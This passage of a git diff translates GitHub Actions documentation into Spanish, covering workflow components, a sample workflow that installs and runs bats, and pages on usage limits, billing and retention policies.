+{% data variables.product.prodname_dotcom %} proporciona máquinas virtuales Linux, Windows y macOS para que ejecutes tus flujos de trabajo o puedes hospedar tus propios ejecutores auto-hospedados en tu propio centro de datos o infraestructura en la nube.
 
-## The components of {% data variables.product.prodname_actions %}
+## Los componentes de las {% data variables.product.prodname_actions %}
 
-You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created.  Your workflow contains one or more _jobs_ which can run in sequential order or in parallel.  Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify your workflow.
+Puedes configurar un _flujo de trabajo_ de {% data variables.product.prodname_actions %} para que se active cuando ocurre un _evento_ en tu repositorio, tal como la apertura de una solicitud de cambios o la creación de una propuesta.  Tu flujo de trabajo contiene uno o más _jobs_, los cuales pueden ejecutarse en orden secuencial o en paralelo.  Cada job se ejecutará dentro del _ejecutor_ de su propia máquina virtual o dentro de un contenedor y tendrá uno o más _pasos_ que ya sea puedan ejecutar un script que definas o que ejecuten una _acción_, la cual es una extensión reutilizable que puede simplificar tu flujo de trabajo.
 
-![Workflow overview](/assets/images/help/images/overview-actions-simple.png)
+![Resumen del flujo de trabajo](/assets/images/help/images/overview-actions-simple.png)
 
-### Workflows
+### Flujos de trabajo
 
-A workflow is a configurable automated process that will run one or more jobs.  Workflows are defined by a YAML file checked in to your repository and will run when triggered by an event in your repository, or they can be triggered manually, or at a defined schedule.
+Un flujo de trabajo es un proceso automatizado configurable que ejecutará uno o más jobs.  Los flujos de trabajo se definen mediante un archivo de YAML que se verifica en tu repositorio y se ejecutará cuando lo active un evento dentro de este o puede activarse manualmente o en una programación definida.
 
-Your repository can have multiple workflows in a repository, each of which can perform a different set of steps.  For example, you can have one workflow to build and test pull requests, another workflow to deploy your application every time a release is created, and still another workflow that adds a label every time someone opens a new issue.
+Tu repositorio puede tener varios flujos de trabajo dentro de él, cada uno de los cuales puede llevar a cabo un conjunto de pasos diferente.  Por ejemplo, puedes tener un flujo de trabajo para crear y probar las solicitudes de cambio, otro para desplegar tu aplicación cada que se cree un lanzamiento y todavía otro más que agregue una etiqueta cada que alguien abra una propuesta nueva.
 
-{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %}
+{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}Puedes referenciar un flujo de trabajo dentro de otro flujo de trabajo, consulta la sección "[Reutilizar flujos de trabajo](/actions/learn-github-actions/reusing-workflows)".{% endif %}
 
-### Events
+### Eventos
 
-An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository.  You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually.
+Un evento es una actividad específica en un repositorio, la cual activa una ejecución de flujo de trabajo. Por ejemplo, la actividad puede originarse desde {% data variables.product.prodname_dotcom %} cuando alguien crea una solicitud de cambios, abre una propuesta o sube una confirmación a un repositorio.  También puedes activar una ejecución de flujo de trabajo de acuerdo con una programación si la [publicas en una API de REST](/rest/reference/repos#create-a-repository-dispatch-event) o si lo haces manualmente.
 
-For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows).
+Para encontrar una lista de eventos completa que puede utilizarse para activar flujos de trabajo, consulta los [Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows).
 
 ### Jobs
 
-A job is a set of _steps_ in a workflow that execute on the same runner.  Each step is either a shell script that will be executed, or an _action_ that will be run.  Steps are executed in order and are dependent on each other.  Since each step is executed on the same runner, you can share data from one step to another.  For example, you can have a step that builds your application followed by a step that tests the application that was built.
+Un job es un conjunto de _pasos_ en un flujo de trabajo, los cuales se ejecutan en el mismo ejecutor.  Cada paso es ya sea un script de shell o una _acción_ que se ejecutarán.  Los pasos se ejecutarán en orden y serán dependientes uno del otro.  Ya que cada paso se ejecuta en el mismo ejecutor, puedes compartir datos de un paso a otro.  Por ejemplo, puedes tener un paso que compile tu aplicación, seguido de otro que pruebe la aplicación que se compiló.
 
-You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other.  When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run.  For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs.  The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run.
+Puedes configurar las dependencias de un job con otros jobs; predeterminadamente, los jobs no tienen dependencias y se ejecutan en paralelo entre ellos.  Cuando un job lleva una dependencia a otro job, este esperará a que el job dependiente se complete antes de que pueda ejecutarse.  Por ejemplo, puedes tener jobs de compilación múltiple para arquitecturas diferentes que no tengan dependencias y un job de empaquetado que sea dependiente de estos jobs.  Los jobs de compilación se ejecutarán en paralelo y, cuando se hayan completado con éxito, se ejecutará el job de empaquetado.
 
-### Actions
+### Acciones
 
-An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task.  Use an action to help reduce the amount of repetitive code that you write in your workflow files.  An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider.
+Una _acción_ es una aplicación personalizada para la plataforma de {% data variables.product.prodname_actions %} que realiza una tarea compleja pero que se repite frecuentemente.  Utiliza una acción para ayudarte a reducir la cantidad de código repetitivo que escribes en tus archivos de flujo de trabajo.  Una acción puede extraer tu repositorio de git desde {% data variables.product.prodname_dotcom %}, configurar la cadena de herramientas correcta para tu ambiente de compilación o configurar la autenticación en tu proveedor de servicios en la nube.
 
-You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}.
+Puedes escribir tus propias acciones o puedes encontrar acciones para utilizar en tus flujos de trabajo dentro de {% data variables.product.prodname_marketplace %}.
 
-### Runners
+### Ejecutores
 
-{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% ifversion ghes or ghae %} You must host your own runners for {% data variables.product.product_name %}. {% elsif fpt or ghec %}{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners.{% endif %} For more information{% ifversion fpt or ghec %} about self-hosted runners{% endif %}, see "[Hosting your own runners](/actions/hosting-your-own-runners)."
+{% data reusables.actions.about-runners %} Cada ejecutor puede ejecutar un job individual a la vez. {% ifversion ghes or ghae %} Debes hospedar tus propios ejecutores para {% data variables.product.product_name %}. {% elsif fpt or ghec %}{% data variables.product.company_short %} proporciona ejecutores de Ubuntu Linux, Microsoft Windows y macOS para ejecutar tus flujos de trabajo; cada flujo de trabajo se ejecuta en una máquina virtual nueva y recién aprovisionada. Si necesitas un sistema operativo diferente o si requieres una configuración de hardware específica, puedes hospedar tus propios ejecutores.{% endif %} Para obtener más información{% ifversion fpt or ghec %} sobre los ejecutores auto-hospedados{% endif %}, consulta la sección "[Hospedar tus propios ejecutores](/actions/hosting-your-own-runners)".
 
-## Create an example workflow
+## Crear un flujo de trabajo de ejemplo
 
-{% data variables.product.prodname_actions %} uses YAML syntax to define the workflow.  Each workflow is stored as a separate YAML file in your code repository, in a directory called `.github/workflows`.
+Las {% data variables.product.prodname_actions %} utilizan la sintaxis de YAML para definir el flujo de trabajo.  Cada flujo de trabajo se almacena como un archivo de YAML por separado en tu repositorio de código en un directorio que se llama `.github/workflows`.
 
-You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the software dependencies, and runs `bats -v`.
+Puedes crear un flujo de trabajo de ejemplo en tu repositorio que active automáticamente una serie de comandos cada que se suba código. En este flujo de trabajo, las {% data variables.product.prodname_actions %} verifican el código que se subió, instalan las dependencias de software, y ejecutan `bats -v`.
 
-1. In your repository, create the `.github/workflows/` directory to store your workflow files.
-1. In the `.github/workflows/` directory, create a new file called `learn-github-actions.yml` and add the following code.
+1. En tu repositorio, crea el directorio `.github/workflows/` para almacenar tus archivos de flujo de trabajo.
+1. En el directorio `.github/workflows/`, crea un archivo nuevo que se llame `learn-github-actions.yml` y agrega el siguiente código.
     ```yaml
     name: learn-github-actions
     on: [push]
@@ -86,13 +86,13 @@ You can create an example workflow in your repository that automatically trigger
           - run: npm install -g bats
           - run: bats -v
     ```
-1. Commit these changes and push them to your {% data variables.product.prodname_dotcom %} repository.
+1. Confirma estos cambios y cárgalos a tu repositorio de {% data variables.product.prodname_dotcom %}.
 
-Your new {% data variables.product.prodname_actions %} workflow file is now installed in your repository and will run automatically each time someone pushes a change to the repository. For details about a job's execution history, see "[Viewing the workflow's activity](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)."
+Tu archivo de flujo de trabajo de {% data variables.product.prodname_actions %} nuevo estará ahora instalado en tu repositorio y se ejecutará automáticamente cada que alguien suba un cambio a éste. Para encontrar los detalles sobre el historial de ejecución un job, consulta la sección "[Visualizar la actividad del flujo de trabajo](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)".
 
-## Understanding the workflow file
+## Entender el archivo de flujo de trabajo
 
-To help you understand how YAML syntax is used to create a workflow file, this section explains each line of the introduction's example:
+Para ayudarte a entender cómo se utiliza la sintaxis de YAML para crear un flujo de trabajo, esta sección explica cada línea del ejemplo de la introducción:
 
 <table>
 <tr>
@@ -103,7 +103,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s
   ```
 </td>
 <td>
-  <em>Optional</em> - The name of the workflow as it will appear in the Actions tab of the {% data variables.product.prodname_dotcom %} repository.
+  <em>Opcional</em> - El nombre del flujo de trabajo ta como aparece en la pestaña de Acciones del repositorio de {% data variables.product.prodname_dotcom %}.
 </td>
 </tr>
 <tr>
@@ -114,7 +114,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s
   ```
 </td>
 <td>
-Specifies the trigger for this workflow. This example uses the <code>push</code> event, so a workflow run is triggered every time someone pushes a change to the repository or merges a pull request.  This is triggered by a push to every branch; for examples of syntax that runs only on pushes to specific branches, paths, or tags, see <a href="https://docs.github.com/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths">"Workflow syntax for {% data variables.product.prodname_actions %}."</a>
+Especifica el activador de este flujo de trabajo. Este ejemplo utiliza el evento <code>push</code>, así que una ejecución de flujo de trabajo se activa cada que alguien sube un cambio al repositorio o fusiona una solicitud de cambios.  Esto se activa mediante una subida a cada rama; para encontrar ejemplos de la sintaxis que solo se ejecuta en subidas a ramas específicas, rutas o etiquetas, consulta la sección <a href="https://docs.github.com/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths">"Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}".</a>
 </td>
 </tr>
 <tr>
@@ -125,7 +125,7 @@ Specifies the trigger for this workflow. This example uses the <code>push</code>
   ```
 </td>
 <td>
- Groups together all the jobs that run in the <code>learn-github-actions</code> workflow.
+ Agrupa los jobs que se ejecutan en el flujo de trabajo <code>learn-github-actions</code>.
 </td>
 </tr>
 <tr>
@@ -136,7 +136,7 @@ Specifies the trigger for this workflow. This example uses the <code>push</code>
   ```
 </td>
 <td>
-Defines a job named <code>check-bats-version</code>. The child keys will define properties of the job.
+Define un job que se llame <code>check-bats-version</code>. Las llaves hijas definirán las propiedades del job.
 </td>
 </tr>
 <tr>
@@ -147,7 +147,7 @@ Defines a job named <code>check-bats-version</code>. The child keys will define
   ```
 </td>
 <td>
-  Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see <a href="https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on">"Workflow syntax for {% data variables.product.prodname_actions %}."</a>
+  Configura el job para que se ejecute en la versión más reciente de un ejecutor Ubuntu Linux. Esto significa que el job se ejecutará en una máquina virtual nueva que se hospede en GitHub. Para encontrar ejemplos de sintaxis que utilicen otros ejecutores, consulta la sección <a href="https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on">"Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}".</a>
 </td>
 </tr>
 <tr>
@@ -158,7 +158,7 @@ Defines a job named <code>check-bats-version</code>. The child keys will define
   ```
 </td>
 <td>
-  Groups together all the steps that run in the <code>check-bats-version</code> job. Each item nested under this section is a separate action or shell script.
+  Agrupa todos los pasos que se ejecutan en el job <code>check-bats-version</code>. Cada elemento anidado debajo de esta sección es una acción o script de shell por separado.
 </td>
 </tr>
 <tr>
@@ -169,7 +169,7 @@ Defines a job named <code>check-bats-version</code>. The child keys will define
   ```
 </td>
 <td>
-The <code>uses</code> keyword specifies that this step will run <code>v2</code> of the <code>actions/checkout</code> action.  This is an action that checks out your repository onto the runner, allowing you to run scripts or other actions against your code (such as build and test tools). You should use the checkout action any time your workflow will run against the repository's code.
+La palabra clave <code>uses</code> especifica que este paso ejecutará la <code>v2</code> de la acción <code>actions/checkout</code>.  Esta es una acción que comprueba tu repositorio en el ejecutor, lo cual te permite ejecutar scripts u otras acciones contra tu código (tales como herramientas de compilación y prueba). Debes utilizar la acción de verificación en cualquier momento en el que tu flujo de trabajo se ejecute contra el código del repositorio.
 </td>
 </tr>
 <tr>
@@ -182,7 +182,7 @@ The <code>uses</code> keyword specifies that this step will run <code>v2</code>
   ```
 </td>
 <td>
-  This step uses the <code>actions/setup-node@v2</code> action to install the specified version of the Node.js (this example uses v14). This puts both the <code>node</code> and <code>npm</code> commands in your <code>PATH</code>.
+  Este paso utiliza la acción <code>actions/setup-node@v2</code> para instalar la versión especificada del Node.js (este ejemplo utiliza la v14). Esto pone a los comandos <code>node</code> y <code>npm</code> en tu <code>PATH</code>.
 </td>
 </tr>
 <tr>
@@ -193,7 +193,7 @@ The <code>uses</code> keyword specifies that this step will run <code>v2</code>
   ```
 </td>
 <td>
-  The <code>run</code> keyword tells the job to execute a command on the runner. In this case, you are using <code>npm</code> to install the <code>bats</code> software testing package.
+  La palabra clave <code>run</code> le dice al job que ejecute un comando en el ejecutor. Ene ste caso, estás utilizando <code>npm</code> para instalar el paquete de pruebas del software <code>bats</code>.
 </td>
 </tr>
 <tr>
@@ -204,53 +204,46 @@ The <code>uses</code> keyword specifies that this step will run <code>v2</code>
   ```
 </td>
 <td>
-  Finally, you'll run the <code>bats</code> command with a parameter that outputs the software version.
+  Finalmente, ejecutarás el comando <code>bats</code> con un parámetro que producirá la versión del software.
 </td>
 </tr>
 </table>
 
-### Visualizing the workflow file
+### Visualizar el archivo de flujo de trabajo
 
-In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."
+En este diagrama, puedes ver el archivo de flujo de trabajo que acabas de crear, así como la forma en que los componentes de {% data variables.product.prodname_actions %} se organizan en una jerarquía. Cada paso ejecuta una acción o script de shell simples. Los pasos 1 y 2 ejecutan acciones, mientras que los pasos 3 y 4 ejecutan scripts de shell. Para encontrar más acciones preconstruidas para tus flujos de trabajo, consulta la sección "[Encontrar y personalizar acciones](/actions/learn-github-actions/finding-and-customizing-actions)".
 
-![Workflow overview](/assets/images/help/images/overview-actions-event.png)
+![Resumen del flujo de trabajo](/assets/images/help/images/overview-actions-event.png)
 
-## Viewing the workflow's activity
+## Ver la actividad del flujo de trabajo
 
-Once your workflow has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}.
+Una vez que tu flujo de trabajo comience a ejecutarse, podrás{% ifversion fpt or ghes > 3.0 or ghae or ghec %}ver una gráfica de visualización del progreso de dicha ejecución y {% endif %}ver la actividad de cada paso en {% data variables.product.prodname_dotcom %}.
 
 {% data reusables.repositories.navigate-to-repo %}
-1. Under your repository name, click **Actions**.
-    ![Navigate to repository](/assets/images/help/images/learn-github-actions-repository.png)
-1. In the left sidebar, click the workflow you want to see.
-    ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png)
-1. Under "Workflow runs", click the name of the run you want to see.
-    ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png)
+1. Debajo del nombre de tu repositorio, da clic en **Acciones**. ![Navegar al repositorio](/assets/images/help/images/learn-github-actions-repository.png)
+1. En la barra lateral izquierda, da clic en el flujo de trabajo que quieras ver. ![Impresión de pantalla de los resultados del flujo de trabajo](/assets/images/help/images/learn-github-actions-workflow.png)
+1. Debajo de "Ejecuciones de flujo de trabajo", da clic en el nombre de la ejecución que quieres ver. ![Captura de pantalla de las ejecuciones del flujo de trabajo](/assets/images/help/images/learn-github-actions-run.png)
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-1. Under **Jobs** or in the visualization graph, click the job you want to see.
-   ![Select job](/assets/images/help/images/overview-actions-result-navigate.png)
+1. Debajo de **Jobs** o en la gráfica de visualización, da clic en el job que quieras ver. ![Seleccionar job](/assets/images/help/images/overview-actions-result-navigate.png)
 {% endif %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-1. View the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png)
+1. Ve los resultados de cada paso. ![Impresión de pantalla de los detalles de la ejecución del flujo de trabajo](/assets/images/help/images/overview-actions-result-updated-2.png)
 {% elsif ghes %}
-1. Click on the job name to see the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated.png)
+1. Da clic en el nombre del job para ver los resultados de cada paso. ![Impresión de pantalla de los detalles de la ejecución del flujo de trabajo](/assets/images/help/images/overview-actions-result-updated.png)
 {% else %}
-1. Click on the job name to see the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result.png)
+1. Da clic en el nombre del job para ver los resultados de cada paso. ![Impresión de pantalla de los detalles de la ejecución del flujo de trabajo](/assets/images/help/images/overview-actions-result.png)
 {% endif %}
 
-## Next steps
+## Pasos siguientes
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."
+Para seguir aprendiendo sobre las {% data variables.product.prodname_actions %}, consulta la sección "[Encontrar y personalizar las acciones](/actions/learn-github-actions/finding-and-customizing-actions)".
 
 {% ifversion fpt or ghec or ghes %}
 
-To understand how billing works for {% data variables.product.prodname_actions %}, see "[About billing for {% data variables.product.prodname_actions %}](/actions/reference/usage-limits-billing-and-administration#about-billing-for-github-actions)".
+Para entender cómo funciona la facturación de las {% data variables.product.prodname_actions %}, consulta la sección "[Acerca de la facturación para las {% data variables.product.prodname_actions %}](/actions/reference/usage-limits-billing-and-administration#about-billing-for-github-actions)".
 
 {% endif %}
 
-## Contacting support
+## Contactar con soporte técnico
 
 {% data reusables.github-actions.contacting-support %}
diff --git a/translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md b/translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
index 3b2a00be5c..a0673d1757 100644
--- a/translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
+++ b/translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
@@ -1,6 +1,6 @@
 ---
-title: 'Usage limits, billing, and administration'
-intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.'
+title: 'Límites de uso, facturación y administración'
+intro: 'Hay límites de uso para los flujos de trabajo de {% data variables.product.prodname_actions %}. Los cargos de uso aplican a los repositorios que salen de la cantidad de minutos y almacenamiento gratuitos de un repositorio.'
 redirect_from:
   - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions
   - /actions/reference/usage-limits-billing-and-administration
@@ -10,92 +10,92 @@ versions:
   ghec: '*'
 topics:
   - Billing
-shortTitle: Workflow billing & limits
+shortTitle: Límites & facturación de los flujos de trabajo
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About billing for {% data variables.product.prodname_actions %}
+## Acerca de la facturación para {% data variables.product.prodname_actions %}
 
 {% ifversion fpt or ghec %}
-{% data reusables.github-actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+{% data reusables.github-actions.actions-billing %} Para obtener más información, consulta "[Acerca de la facturación de {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)".
 {% else %}
-GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %}s that use self-hosted runners.
+El uso de GitHub Actions es gratuito para los {% data variables.product.prodname_ghe_server %} que utilicen ejecutores auto-hospedados.
 {% endif %}
 
-## Availability
+## Disponibilidad
 
-{% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %}
+{% data variables.product.prodname_actions %} está disponible en todos los productos de {% data variables.product.prodname_dotcom %}, pero {% data variables.product.prodname_actions %} no está disponible para los repositorios privados que pertenezcan a cuentas que utilicen planes tradicionales por repositorio. {% data reusables.gated-features.more-info %}
 
-## Usage limits
+## Límites de uso
 
 {% ifversion fpt or ghec %}
-There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change.
+Hay algunos límites de uso de {% data variables.product.prodname_actions %} cuando se utilizan ejecutores hospedados en {% data variables.product.prodname_dotcom %}. Estos límites están sujetos a cambios.
 
 {% note %}
 
-**Note:** For self-hosted runners, different usage limits apply. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
+**Nota:** Para los ejecutores auto-hospedados, pueden aplicarse límites de uso distintos. Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
 
 {% endnote %}
 
-- **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete.
+- **Tiempo de ejecución de jobs** - Cada job en un flujo de trabajo puede ejecutarse hasta por 6 horas en tiempo de ejecución. Si un job llega a este límite, éste se terminará y fallará en completarse.
 {% data reusables.github-actions.usage-workflow-run-time %}
 {% data reusables.github-actions.usage-api-requests %}
-- **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your GitHub plan, as indicated in the following table. If exceeded, any additional jobs are queued.
+- **Jobs simultáneos** - La cantidad de jobs que puedes ejecutar simultáneamente en tu cuenta depende de tu plan de GitHub, como se indica en la siguiente tabla. Si eso se excede, cualquier job adicional se pondrá en cola de espera.
 
-  | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs |
-  |---|---|---|
-  | Free | 20 | 5 |
-  | Pro | 40 | 5 |
-  | Team | 60 | 5 |
-  | Enterprise | 180 | 50 |
-- **Job matrix** - {% data reusables.github-actions.usage-matrix-limits %}
+  | Plan de GitHub | Jobs simultáneos totales | Jobs simultáneos de macOS máximos |
+  | -------------- | ------------------------ | --------------------------------- |
+  | Gratis         | 20                       | 5                                 |
+  | Pro            | 40                       | 5                                 |
+  | Team           | 60                       | 5                                 |
+  | Empresa        | 180                      | 50                                |
+- **Matiz de jobs** - {% data reusables.github-actions.usage-matrix-limits %}
 {% data reusables.github-actions.usage-workflow-queue-limits %}
 
 {% else %}
-Usage limits apply to self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
+Los límites de uso aplican a los ejecutores auto-hospedados. Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
 {% endif %}
 
 {% ifversion fpt or ghec %}
-## Usage policy
+## Política de uso
 
-In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage).
+Además de los límites de uso, debes asegurarte de usar las {% data variables.product.prodname_actions %} dentro de los [Términos de servicio de GitHub](/free-pro-team@latest/github/site-policy/github-terms-of-service/). Para obtener más información sobre los términos específicos de las {% data variables.product.prodname_actions %}, consulta los [Términos adicionales de producto de GitHub](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage).
 {% endif %}
 
 {% ifversion fpt or ghes > 3.3 or ghec %}
-## Billing for reusable workflows
+## Facturación para los flujos de trabajo reutilizables
 
-If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. 
+Si vuelves a utilizar un flujo de trabajo la facturación siempre se asociará con aquél del que llama. La asignación de los ejecutores hospedados en {% data variables.product.prodname_dotcom %} siempre se evalúa utilizando únicamente el contexto del llamador. El llamador no puede utilizar ejecutores hospedados en {% data variables.product.prodname_dotcom %} desde el repositorio llamado.
 
-For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+Para obtener más información, consulta la sección "[Reutilizar los flujos de trabajo](/actions/learn-github-actions/reusing-workflows)".
 {% endif %}
 
-## Artifact and log retention policy
+## Polìtica de retenciòn de artefactos y bitàcoras
 
-You can configure the artifact and log retention period for your repository, organization, or enterprise account.
+Puedes configurar el periodo de retenciòn de artefactos y bitàcoras para tu repositorio, organizaciòn o cuenta empresarial.
 
 {% data reusables.actions.about-artifact-log-retention %}
 
-For more information, see:
+Para obtener más información, consulta:
 
-- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)"
-- "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)"
-- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
+- "[Administrar los ajustes de {% data variables.product.prodname_actions %} para un repositorio](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)"
+- "[Configurar el periodo de retención de {% data variables.product.prodname_actions %} para los artefactos y bitácoras en tu organización](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)"
+- "[Requerir políticas para la {% data variables.product.prodname_actions %} en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
 
-## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization
+## Inhabilitar o limitar {% data variables.product.prodname_actions %} para tu repositorio u organización
 
 {% data reusables.github-actions.disabling-github-actions %}
 
-For more information, see:
-- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)"
-- "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)"
-- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
+Para obtener más información, consulta:
+- "[Administrar los ajustes de {% data variables.product.prodname_actions %} para un repositorio](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)"
+- "[Inhabilitar o limitar {% data variables.product.prodname_actions %} para tu organización](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)"
+- "[Requerir políticas para la {% data variables.product.prodname_actions %} en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
 
-## Disabling and enabling workflows
+## Inhabilitar y habilitar flujos de trabajo
 
-You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}.
+Puedes habilitar e inhabilitar flujos de trabajo independientes en tu repositorio en {% data variables.product.prodname_dotcom %}.
 
 {% data reusables.actions.scheduled-workflows-disabled %}
 
-For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)."
+Para obtener más información, consulta la sección "[Inhabilitar y habilitar un flujo de trabajo](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)".
diff --git a/translations/es-ES/content/actions/learn-github-actions/using-starter-workflows.md b/translations/es-ES/content/actions/learn-github-actions/using-starter-workflows.md
new file mode 100644
index 0000000000..9c3b113888
--- /dev/null
+++ b/translations/es-ES/content/actions/learn-github-actions/using-starter-workflows.md
@@ -0,0 +1,54 @@
+---
+title: Utilizar flujos de trabajo iniciales
+intro: '{% data variables.product.product_name %} provides starter workflows for a variety of languages and tooling.'
+redirect_from:
